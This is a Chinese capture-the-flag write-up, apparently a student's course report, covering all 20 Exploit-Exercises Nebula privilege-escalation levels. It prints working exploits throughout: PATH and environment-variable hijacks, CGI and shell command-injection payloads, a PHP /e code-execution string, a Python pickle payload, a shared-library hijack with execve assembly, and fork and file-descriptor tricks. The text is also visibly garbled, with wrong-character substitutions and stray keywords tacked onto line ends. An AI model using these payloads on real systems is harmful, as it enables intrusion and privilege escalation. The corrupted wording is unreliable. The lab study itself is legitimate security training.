Exploit-Exercise是一系列学习linux下渗透的虚拟环境,官网是https://exploit-exercises.com/,经过它能够学习提权,漏洞利用,逆向等知识php
咱们这里尝试的是Nebula,是一个涵盖初级、中级挑战任务的练习环境,一个有20个关卡。涉及到的知识点有:html
网上有详细的Nebula通关教程,我但愿经过此次实验,提高本身linux下渗透的本领,掌握一些linux本地和远程攻击的基本知识。python
我参照网上给出的教程,来尝试完成Nebula的20个关卡。有兴趣的同窗能够找我拷贝Nebula的镜像。i春秋上也有Nebula的在线环境练习。linux
每个关卡level对应一个帐号:levelXX/levelXX(用户名和口令是同样的)好比第5关的帐号就是 level05/level05。登陆以后,进入/home/flagXX的目录下,与该关卡有关的东西都在这里。正则表达式
官网中的Nebula页面中有每道题的程序源码。算法
每一关提权成功以后,须要执行/bin/getflag/
,若是提权是成功的,会提示“You have successfully executed getflag on a target account”,不然提示“getflag is executing on a non-flag accont, this doesn't count”shell
本关卡须要找到一个以“flag00”帐号运行的可执行程序。关键是对find命令和uid知识的掌握。编程
咱们先看看flag00的UID是什么,输入cat /etc/passwd | grep flag00
浏览器
flag00的UID和GID都是999。安全
接着经过find命令从根目录开始查找,输入find / -uid 999 2> /dev/null
(咱们把标准错误输出扔到/dev/null黑洞里去)
不管是/bin/.../flag00,仍是/rofs/bin/.../flag00都符合要求,任意执行一个便可。接着运行/bin/getflag成功通关。
本题开始,须要咱们对源码进行分析了,官网提供的源代码以下:
#include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/types.h> #include <stdio.h> int main(int argc, char **argv, char **envp) { gid_t gid; uid_t uid; gid = getegid(); uid = geteuid(); setresgid(gid, gid, gid); setresuid(uid, uid, uid); system("/usr/bin/env echo and now what?"); }
这就是咱们flag01程序的源代码。这里的system调用,执行了env程序。
env用来显示环境变量,以及在定义的环境中执行程序。env须要根据环境变量PATH来查找程序的路径。
即使是system中的参数是“硬编码”的,咱们也有办法执行任意文件。
咱们看到flag01程序的权限就是flag01
,咱们的目标就是经过它来执行/bin/getflag
这一系列手段很是有参考意义。/tmp目录对全部用户都有完整的权限。
咱们首先在/tmp下创建一个指向/bin/getflag的软连接echo,而后将/tmp目录放到环境变量PATH的最前面。
这样,env程序在查找echo的时候会首先找到/tmp下的“假装”echo并执行。
经过这样的手法,能够执行其余的可执行程序。
老样子,从代码中发现漏洞,本关卡的程序源码以下:
#include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/types.h> #include <stdio.h> int main(int argc, char **argv, char **envp) { char *buffer; gid_t gid; uid_t uid; gid = getegid(); uid = geteuid(); setresgid(gid, gid, gid); setresuid(uid, uid, uid); buffer = NULL; asprintf(&buffer, "/bin/echo %s is cool", getenv("USER")); printf("about to call system(\"%s\")\n", buffer); system(buffer); }
asprintf是GNU扩展的C函数,它将格式化字符串放到buffer中。getenv函数获取环境变量USER的值。
因为环境变量USER是能够本身设置的,咱们把USER设置为;/bin/getflag
这样,执行了echo命令后,就会执行/bing/getflag,达到level02的要求。
这个关卡有一个计划任务,每隔2分钟执行/home/flag03目录下的writable.sh。
咱们能够看到writeable.sh的内容。
这个脚本会自动执行writable.d里面的全部文件,接着有删除这个脚本。
而计划任务crontab是flag03用户建立的,咱们能够在writable.d中建立脚原本完成操做。
咱们在writable.d的目录下建立一个run脚本。
/bin/getflag > /tmp/20155110wangyifan
这个脚本执行/bin/getflag,并把结果重定向到/tmp/20155110wangyifan文件中。
等待两分钟,咱们在/tmp目录下发现20155110wangyifan这个文件。
也就是说crontable自动执行了/bin/getflag程序
这个关卡须要咱们获取token文本文件的内容。目前咱们的权限是读取不了的。
除了root权限外,只要flag04用户能够对它进行读写操做。这里有一个flag04程序,咱们须要利用这个程序的漏洞,来得到token。
#include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/types.h> #include <stdio.h> #include <fcntl.h> int main(int argc, char **argv, char **envp) { char buf[1024]; int fd, rc; if(argc == 1) { printf("%s [file to read]\n", argv[0]); exit(EXIT_FAILURE); } if(strstr(argv[1], "token") != NULL) { printf("You may not access '%s'\n", argv[1]); exit(EXIT_FAILURE); } fd = open(argv[1], O_RDONLY); if(fd == -1) { err(EXIT_FAILURE, "Unable to open %s", argv[1]); } rc = read(fd, buf, sizeof(buf)); if(rc == -1) { err(EXIT_FAILURE, "Unable to read fd %d", fd); } write(1, buf, rc); }
注意这段代码:
if(strstr(argv[1], "token") != NULL) { printf("You may not access '%s'\n", argv[1]); exit(EXIT_FAILURE); } fd = open(argv[1], O_RDONLY);
flag04会把命令行参数做为文件名并打开,可是文件名不能包含“token”字符串,不然会退出程序。
仍是祭出咱们的软连接大法,迷惑flag04程序。
这就是flag04帐号的密码,登陆flag04帐号执行getflag,完成这一关的任务
在这一关,咱们须要找到一个弱权限的目录,而后经过它来提权。
咱们须要关注的是.backup和.ssh这两个目录。
.ssh目录咱们进不去。只能先在.backup目录里面探索一下。
咱们把backup-19072011.tgz解压到/tmp目录下(由于权限不过没法在当前目录解压)
原来是ssh的公钥和私钥!直接把它copy到/home/level05而后ssh登陆flag05的帐号就能完成此关卡了!
ssh登陆后执行getflag,完成这关。
在本关卡中,flag06帐号的认字凭证是存储在/etc/passwd中的(固然如今的linux都把密码放在/etc/shadow中,比/etc/passwd安全一些)
咱们先读取flag06的密码散列值
而后咱们就要祭出Kali,用john这个口令破解工具弄出flag06帐号的密码
so easy!密码就是hello,直接登陆flag06的帐号,能够经过此关。
在这关中,咱们的攻击对象是一个perl编写的cgi程序。
训练环境的IP配置为192.168.56.102
#!/usr/bin/perl use CGI qw{param}; print "Content-type: text/html\n\n"; sub ping { $host = $_[0]; print("<html><head><title>Ping results</title></head><body><pre>"); @output = `ping -c 3 $host 2>&1`; foreach $line (@output) { print "$line"; } print("</pre></body></html>"); } # check if Host set. if not, display normal page, etc ping(param("Host"));
配置文件thttpd.conf显示开放的端口号是7007。
这段perl脚本的功能是调用外部的ping命令去ping指定的IP。接收的参数名为"Host"
@output = `ping -c 3 $host 2>&1`;
这段代码调用了外部命令,咱们能够来一次 典型的命令注入
首先确认cgi程序的权限,在浏览器中输入
192.168.56.102:7007/index.cgi?Host=127.0.0.1%3Bwhoami
咱们看到CGI程序就是以flag07的用户权限运行的。
咱们直接运行目标程序getflag便可
192.168.56.102:7007/index.cgi?Host=127.0.0.1%3B/bin/getflag
咱们经过 命令注入成功通关。
这个关卡中咱们须要分析一个capture.pcap的数据包。
咱们把训练环境的文件弄到本地来。而后用wireshark分析一下。
咱们使用wireshark的“分析——追踪TCP流功能”
这是一个交互式登陆的抓包。咱们使用 Hex dump方式看password字段。
咱们对照ascii表,7F是del删除,也就是说用户输入backdoor
后,又删除了三个字符,接着输入00Rm8
,又删除了一个字符,最后输入ate
并敲下回车。
因此,最后的password就是backd00Rmate
咱们用这个password登录flag08帐号,顺利通关。
咱们在这一关卡须要攻击一个有漏洞的php代码。
<?php function spam($email) { $email = preg_replace("/\./", " dot ", $email); $email = preg_replace("/@/", " AT ", $email); return $email; } function markup($filename, $use_me) { $contents = file_get_contents($filename); $contents = preg_replace("/(\[email (.*)\])/e", "spam(\"\\2\")", $contents); $contents = preg_replace("/\[/", "<", $contents); $contents = preg_replace("/\]/", ">", $contents); return $contents; } $output = markup($argv[1], $argv[2]); print $output; ?>
这段代码中的正则表达式会将[email xxx@xxx.xxx]
中的“.”替换成“dot”,将“@”替换成“AT”,也就是变成xxx AT xxx dot xxx
咱们注意到这一句代码:
$contents = preg_replace("/(\[email (.*)\])/e", "spam(\"\\2\")", $contents);
preg_replace第一参数使用了/e模式,preg_replace的第二个参数会做为代码执行。
咱们将用php中的system函数执行外部的shell命令
将下面的内容写到文件/tmp/wyf中去
[email "{${system(getflag)}}"]
接着执行flag09程序之后,getflag程序也被调用,咱们成功通关
在本关卡的/home/flag10目录下有两个文件:flag10和token。
官网提示,这里是一个文件访问的竞态条件漏洞,去获取token的内容。
咱们先看看完整的源代码:
#include <stdlib.h> #include <unistd.h> #include <sys/types.h> #include <stdio.h> #include <fcntl.h> #include <errno.h> #include <sys/socket.h> #include <netinet/in.h> #include <string.h> int main(int argc, char **argv) { char *file; char *host; if(argc < 3) { printf("%s file host\n\tsends file to host if you have access to it\n", argv[0]); exit(1); } file = argv[1]; host = argv[2]; if(access(argv[1], R_OK) == 0) { int fd; int ffd; int rc; struct sockaddr_in sin; char buffer[4096]; printf("Connecting to %s:18211 .. ", host); fflush(stdout); fd = socket(AF_INET, SOCK_STREAM, 0); memset(&sin, 0, sizeof(struct sockaddr_in)); sin.sin_family = AF_INET; sin.sin_addr.s_addr = inet_addr(host); sin.sin_port = htons(18211); if(connect(fd, (void *)&sin, sizeof(struct sockaddr_in)) == -1) { printf("Unable to connect to host %s\n", host); exit(EXIT_FAILURE); } #define HITHERE ".oO Oo.\n" if(write(fd, HITHERE, strlen(HITHERE)) == -1) { printf("Unable to write banner to host %s\n", host); exit(EXIT_FAILURE); } #undef HITHERE printf("Connected!\nSending file .. "); fflush(stdout); ffd = open(file, O_RDONLY); if(ffd == -1) { printf("Damn. Unable to open file\n"); exit(EXIT_FAILURE); } rc = read(ffd, buffer, sizeof(buffer)); if(rc == -1) { printf("Unable to read from file: %s\n", strerror(errno)); exit(EXIT_FAILURE); } write(fd, buffer, rc); printf("wrote file!\n"); } else { printf("You don't have access to %s\n", file); } }
注意access函数,当前用户访问某个文件时,返回值为0,才会有后面这一大段代码。
if(access(argv[1], R_OK) == 0) { .... } else { printf("You don't have access to %s\n", file); }
若是没有访问权限,就会输出"You don't have access to <文件名> "
这段代码会创建一个socket通信,并在18211端口上进行监听,而后打开指定的文件并把内容发送到通信链接中。
咱们的思路是这样的:
咱们先完成第一步,netcat监听
而后再另外一个终端tty2下创建文件/tmp/fake_token
咱们再写一个不断创建软连接的bash脚本
执行这个脚本,编写下面的脚本。
接着运行脚本,咱们在看看nc收到的结果:
这就是flag10的登陆密码,登陆flag10帐号后,执行getflag便可。
在这一关卡,咱们须要攻击一个flag11的可执行程序。它的源代码以下:
官网说此关卡有两种方法能够经过
#include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/types.h> #include <fcntl.h> #include <stdio.h> #include <sys/mman.h> /* * Return a random, non predictable file, and return the file descriptor for it. */ int getrand(char **path) { char *tmp; int pid; int fd; srandom(time(NULL)); tmp = getenv("TEMP"); pid = getpid(); asprintf(path, "%s/%d.%c%c%c%c%c%c", tmp, pid, 'A' + (random() % 26), '0' + (random() % 10), 'a' + (random() % 26), 'A' + (random() % 26), '0' + (random() % 10), 'a' + (random() % 26)); fd = open(*path, O_CREAT|O_RDWR, 0600); unlink(*path); return fd; } void process(char *buffer, int length) { unsigned int key; int i; key = length & 0xff; for(i = 0; i < length; i++) { buffer[i] ^= key; key -= buffer[i]; } system(buffer); } #define CL "Content-Length: " int main(int argc, char **argv) { char line[256]; char buf[1024]; char *mem; int length; int fd; char *path; if(fgets(line, sizeof(line), stdin) == NULL) { errx(1, "reading from stdin"); } if(strncmp(line, CL, strlen(CL)) != 0) { errx(1, "invalid header"); } length = atoi(line + strlen(CL)); if(length < sizeof(buf)) { if(fread(buf, length, 1, stdin) != length) { err(1, "fread length"); } process(buf, length); } else { int blue = length; int pink; fd = getrand(&path); while(blue > 0) { printf("blue = %d, length = %d, ", blue, length); pink = fread(buf, 1, sizeof(buf), stdin); printf("pink = %d\n", pink); if(pink <= 0) { err(1, "fread fail(blue = %d, length = %d)", blue, length); } write(fd, buf, pink); blue -= pink; } mem = mmap(NULL, length, PROT_READ|PROT_WRITE, MAP_PRIVATE, fd, 0); if(mem == MAP_FAILED) { err(1, "mmap"); } process(mem, length); } }
这段代码比较长,咱们直接定位有问题的代码段
void process(char *buffer, int length) { unsigned int key; int i; key = length & 0xff; for(i = 0; i < length; i++) { buffer[i] ^= key; key -= buffer[i]; } system(buffer); }
这里的buffer做为system的参数,是可控制的,可是这里的buffer的内容有点复杂,它在以前通过了“异或”加密。
很是简单,咱们对要执行的命令在进行一次异或,就能够还原了。
咱们的攻击代码以下:
#include <stdio.h> #include <stdlib.h> int main(int argc, char *argv[]) { int length = 1024; // 要执行的命令 char *cmd = "getflag"; char buf[1024]; int key = length & 0xff; int i = 0; // 把“ getflag” 字符串拷贝到 buf 里,其他空间空字节填充 strncpy(buf,cmd,1024); for(; i<length; i++) { buf[i] ^= key; // 必定要 buf[i]^key 才可获得正确的 key ,上面那句代码才可正确执行 key = key - (buf[i] ^ key); } // 输出至标准输出 puts("Content-Length: 1024"); fwrite(buf,1,length,stdout); return 0; }
注意代码里面还设置了环境变量TEMP
tmp = getenv("TEMP");
接着在系统中输入以下命令
$ export TEMP=/tmp $ gcc -o /tmp/attack /tmp/attack.c $ cd /home/flag11 $ /tmp/attack | ./flag11 blue = 1024, length = 1024, pink = 1024 You have successfully executed getflag on a target account
咱们成功通关此关卡。
本关卡给出了一个lua写的socket程序,虽然我不会lua语言,可是经过猜想仍是能看懂个大概的。
题目描述是一个监听在50001端口的backdoor。
local socket = require("socket") local server = assert(socket.bind("127.0.0.1", 50001)) function hash(password) prog = io.popen("echo "..password.." | sha1sum", "r") data = prog:read("*all") prog:close() data = string.sub(data, 1, 40) return data end while 1 do local client = server:accept() client:send("Password: ") client:settimeout(60) local line, err = client:receive() if not err then print("trying " .. line) -- log from where ;\ local h = hash(line) if h ~= "4754a4f4bd5787accd33de887b9250a0691dd198" then client:send("Better luck next time\n"); else client:send("Congrats, your token is 413**CARRIER LOST**\n") end end client:close() end
注意到这条语句
prog = io.popen("echo "..password.."| sha1sum", "r")
这个地方存在明显的 命令注入
先telnet 127.0.0.1 50001
,构造payload
;/bin/getflag > /tmp/wyf5110
咱们成功执行了getflag程序,经过本关。
咱们在这一关须要破解下面的程序。
#include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <sys/types.h> #include <string.h> #define FAKEUID 1000 int main(int argc, char **argv, char **envp) { int c; char token[256]; if(getuid() != FAKEUID) { printf("Security failure detected. UID %d started us, we expect %d\n", getuid(), FAKEUID); printf("The system administrators will be notified of this violation\n"); exit(EXIT_FAILURE); } // snip, sorry :) printf("your token is %s\n", token); }
也就是说若是UID不是1000的话,咱们得不到token的值。
如今,咱们直接使用gdb调试这个程序(固然你也能够直接用IDA静态反汇编)
找到getuid函数的位置之后,在下一条指令的地方设置断点。而后运行。
函数的返回值在%eax寄存器中,咱们发现这个uid的值是1014。
咱们直接设置%eax寄存器的值为1000便可。
咱们看到了token的值为b705702b-76a8-42b0-8844-3adabbe5ac58
用它登陆flag13帐号,执行getflag程序经过此关。
在这关,token文件是被flag14程序加密过的,咱们须要解密token。
咱们看看这个程序是怎么加密的。
显然,这个加密算法很是简单,第0位的字符加0,第1位的字符加1,...,第i位的字符加i,以此类推。
咱们直接编写解密程序便可。
//dec.c #include <stdio.h> #include <string.h> int main() { char buf[1000]; scanf("%s", buf); int i; for (i = 0; i < strlen(buf); i++) { buf[i] -= i; } puts(buf); return 0; }
咱们成功获得flag,而后用它登陆flag14帐号执行getflag便可。
官网直接给出提示,用strace工具追踪so使用状况。
提示没有找到libc.so.6,既然没有,咱们就本身写一个让它找到。
创建目录/var/tmp/flag15,并编写以下的代码
#include <stdio.h> void __attribute__((constructor)) init() { system("/bin/getflag"); }
提示symbol __cxa_finalize,我再定义一个__cxa_finalize函数。
#include <stdio.h> void __cxa_finalize(void) { return; } void __attribute__((constructor)) init() { system(); }
咱们还要用汇编语言本身实现一个system函数。
.section .text .globl system system: mov $getflag, %ebx xor %edx, %edx # 异或清空 edx ,做为空参数 push %edx push %ebx mov %esp, %ecx mov $11, %eax # 调用 execve 中断 int $0x80 .section .data getflag: .ascii "/bin/getflag\0"
最后,咱们成功劫持了共享库的调用。
这一关的技术含量很是高,咱们目前尚未彻底理解。
在这一关中,咱们继续攻击一个perl语言的CGI程序
#!/usr/bin/env perl use CGI qw{param}; print "Content-type: text/html\n\n"; sub login { $username = $_[0]; $password = $_[1]; $username =~ tr/a-z/A-Z/; # conver to uppercase $username =~ s/\s.*//; # strip everything after a space @output = `egrep "^$username" /home/flag16/userdb.txt 2>&1`; foreach $line (@output) { ($usr, $pw) = split(/:/, $line); if($pw =~ $password) { return 1; } } return 0; } sub htmlz { print("<html><head><title>Login resuls</title></head><body>"); if($_[0] == 1) { print("Your login was accepted<br/>"); } else { print("Your login failed<br/>"); } print("Would you like a cookie?<br/><br/></body></html>\n"); } htmlz(login(param("username"), param("password")));
这段代码的问题就在于它有调用了外部shell命令。
@output = `egrep "^$username" /home/flag16/userdb.txt 2>&1`;
可是,这里对用户名作了限制,不只将其转换为大写,并且去掉第一个空格以后的全部内容。
咱们先创建这样一个脚本/tmp/wyf
构造payload为
"</DEV/NULL;CMD=/TMP/WYF;${CMD,,};#
为了方便,咱们直接写一个表单提交数据。
咱们这是能够看到,getflag程序已经执行了。
这又是一个绕过正则表达式的 命令注入
咱们要分析一个在10007端口监听的python脚本。
#!/usr/bin/python import os import pickle import time import socket import signal signal.signal(signal.SIGCHLD, signal.SIG_IGN) def server(skt): line = skt.recv(1024) obj = pickle.loads(line) for i in obj: clnt.send("why did you send me " + i + "?\n") skt = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0) skt.bind(('0.0.0.0', 10007)) skt.listen(10) while True: clnt, addr = skt.accept() if(os.fork() == 0): clnt.send("Accepted connection from %s:%d" % (addr[0], addr[1])) server(clnt) exit(1)
因为我对python不熟悉,这一关的原理也没弄明白。
这应该是一个反序列化的漏洞,先按照教程完成这一关卡吧。
构造下面的payload
cos system (S'getflag>/tmp/result' tR.
这关很是特殊,有三种解决方法,最简单的是耗尽系统资源。
固然也有格式化字符串漏洞,栈溢出漏洞。
#include <stdlib.h> #include <unistd.h> #include <string.h> #include <stdio.h> #include <sys/types.h> #include <fcntl.h> #include <getopt.h> struct { FILE *debugfile; int verbose; int loggedin; } globals; #define dprintf(...) if(globals.debugfile) \ fprintf(globals.debugfile, __VA_ARGS__) #define dvprintf(num, ...) if(globals.debugfile && globals.verbose >= num) \ fprintf(globals.debugfile, __VA_ARGS__) #define PWFILE "/home/flag18/password" void login(char *pw) { FILE *fp; fp = fopen(PWFILE, "r"); if(fp) { char file[64]; if(fgets(file, sizeof(file) - 1, fp) == NULL) { dprintf("Unable to read password file %s\n", PWFILE); return; } fclose(fp); if(strcmp(pw, file) != 0) return; } dprintf("logged in successfully (with%s password file)\n", fp == NULL ? "out" : ""); globals.loggedin = 1; } void notsupported(char *what) { char *buffer = NULL; asprintf(&buffer, "--> [%s] is unsupported at this current time.\n", what); dprintf(what); free(buffer); } void setuser(char *user) { char msg[128]; sprintf(msg, "unable to set user to '%s' -- not supported.\n", user); printf("%s\n", msg); } int main(int argc, char **argv, char **envp) { char c; while((c = getopt(argc, argv, "d:v")) != -1) { switch(c) { case 'd': globals.debugfile = fopen(optarg, "w+"); if(globals.debugfile == NULL) err(1, "Unable to open %s", optarg); setvbuf(globals.debugfile, NULL, _IONBF, 0); break; case 'v': globals.verbose++; break; } } dprintf("Starting up. Verbose level = %d\n", globals.verbose); setresgid(getegid(), getegid(), getegid()); setresuid(geteuid(), geteuid(), geteuid()); while(1) { char line[256]; char *p, *q; q = fgets(line, sizeof(line)-1, stdin); if(q == NULL) break; p = strchr(line, '\n'); if(p) *p = 0; p = strchr(line, '\r'); if(p) *p = 0; dvprintf(2, "got [%s] as input\n", line); if(strncmp(line, "login", 5) == 0) { dvprintf(3, "attempting to login\n"); login(line + 6); } else if(strncmp(line, "logout", 6) == 0) { globals.loggedin = 0; } else if(strncmp(line, "shell", 5) == 0) { dvprintf(3, "attempting to start shell\n"); if(globals.loggedin) { execve("/bin/sh", argv, envp); err(1, "unable to execve"); } dprintf("Permission denied\n"); } else if(strncmp(line, "logout", 4) == 0) { globals.loggedin = 0; } else if(strncmp(line, "closelog", 8) == 0) { if(globals.debugfile) fclose(globals.debugfile); globals.debugfile = NULL; } else if(strncmp(line, "site exec", 9) == 0) { notsupported(line + 10); } else if(strncmp(line, "setuser", 7) == 0) { setuser(line + 8); } } return 0; }
linux默认只能打开1024个文件描述符,可是stdin,stdout,stderr已经各占用了一个。最终供程序使用的只有1021个。
咱们须要作的就是耗尽程序的资源,先输入
for i in {0..1020}; do echo 'login wyf5110' >> /tmp/login; done;
将1021个login wyf5110
放到/tmp/login中。
再执行
cat /tmp/login | /home/flag18/flag18 -d /tmp/debug
查看/tmp/debug的内容
根据输出内容,咱们知道登陆成功了。应该能够执行shell命令。
咱们追加一个shell,而后再执行flag18程序。
看到这个结果,是由于文件描述符用尽了。
咱们看源码中的这一部分
} else if(strncmp(line, "closelog", 8) == 0) { if(globals.debugfile) fclose(globals.debugfile); globals.debugfile = NULL; }
也就是说添加closelog能够释放一个文件描述符。咱们再次修改/tmp/login
而后执行
cat login | /home/flag18/flag18 --init-file -d debug
可是出现了下面的问题。
咱们能够这么操做
既然找不到Starting命令,咱们就攻击环境变量,将Starting指向恶意脚本
再次运行程序,查看/tmp/output文件,咱们能够知道/bin/getflag已经被执行了
终于来到最后一关了,这一关要求咱们攻破下面的程序。
程序的源代码以下:
#include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/types.h> #include <stdio.h> #include <fcntl.h> #include <sys/stat.h> int main(int argc, char **argv, char **envp) { pid_t pid; char buf[256]; struct stat statbuf; /* Get the parent's /proc entry, so we can verify its user id */ snprintf(buf, sizeof(buf)-1, "/proc/%d", getppid()); /* stat() it */ if(stat(buf, &statbuf) == -1) { printf("Unable to check parent process\n"); exit(EXIT_FAILURE); } /* check the owner id */ if(statbuf.st_uid == 0) { /* If root started us, it is ok to start the shell */ execve("/bin/sh", argv, envp); err(1, "Unable to execve"); } printf("You are unauthorized to run this program\n"); }
这段程序的逻辑是这样的:
咱们须要利用“孤儿进程”的特色来突破这段程序
孤儿进程的父进程init的uid绝对是0
编写攻击代码以下
//attack.c #include <stdio.h> #include <unistd.h> #include <stdlib.h> int main(void) { pid_t pid; pid = fork(); char *argvs[] = {"/bin/sh","-c","getflag>/tmp/flag19_output",NULL}; if(pid == 0) { execve("/home/flag19/flag19",argvs,NULL); } else if(pid > 0) { exit(0); } return 0; }
这段攻击代码,利用fork出来的子进程执行getflag
程序,并将结果重定向到/tmp/flag19_output文件中。
至此,咱们成功通关nebula的所有20个关卡!
实话实说,exploit-exercise nebula的这20个练习让我感觉到了本身 离技术的门槛还很遥远
其中的一系列linux提权和任意文件执行的技巧令我印象深入——软连接大法,python反序列化漏洞,CGI程序的命令注入,共享库劫持,gdb调试……
不少练习以个人能力是不可能作出来的,在参考了网上的教程之后,我可以 大致感觉到其中的 美妙之处
以前的实验,咱们只是浅尝辄止地使用一些工具而已,咱们对工具的应用也是浮于表面的,尽管能熟练使用工具并玩到极致的话,也能够弄出花样来。
此次的final让我完全明白,只有对计算机足够精通,才能真正主宰一切,而这条道路对咱们来讲很是漫长。
不过,可以在本学期的课程中对计算机安全技术初窥门径,我已经很知足了。